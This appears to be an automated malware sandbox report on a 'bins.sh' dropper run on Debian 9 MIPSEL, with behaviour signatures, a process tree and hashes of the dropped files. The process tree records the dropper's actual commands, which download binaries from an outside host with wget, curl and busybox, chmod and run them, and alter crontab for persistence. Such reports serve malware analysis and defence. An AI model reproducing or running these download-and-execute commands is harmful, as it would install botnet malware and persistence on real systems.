Overview

overview

8

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    16/11/2024, 18:47

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241116-xe665svrhq
  • SHA256 b3d0de8b7a3fd8472b95b94e6a10f7106ca89eac14ba8f6ad80bc88279b2245f
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1721) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 11 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:698
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:699
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          ./GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:775
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:780
          • /bin/chmod
            chmod 777 VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • File and Directory Permissions Modification
            PID:784
          • /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            ./VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Executes dropped EXE
            PID:785
          • /bin/rm
            rm VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
              PID:789
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:791
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:798
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:810
            • /bin/chmod
              chmod 777 NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • File and Directory Permissions Modification
              PID:814
            • /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              ./NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:815
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:817
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:818
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:821
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:822
                • /bin/rm
                  rm NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
                  2⤵
                    PID:824
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                    2⤵
                    • System Network Configuration Discovery
                    PID:827
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                    2⤵
                    • System Network Configuration Discovery
                    PID:828

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
                      • Path /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
                      • Size 112KB
                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
                      • Path /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
                      • Size 151KB
                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
                      • Path /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
                      • Size 98KB
                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.lHrlPk
                      • Path /var/spool/cron/crontabs/tmp.lHrlPk
                      • Size 210B
                      • SHA256 ae5ae8355cf2a40fdc814ddd3d30b790ba3ea3c83b7e6cb4c02bc2491eb6eec7
                      • MD5 SHA1 SHA512
                      Submit Download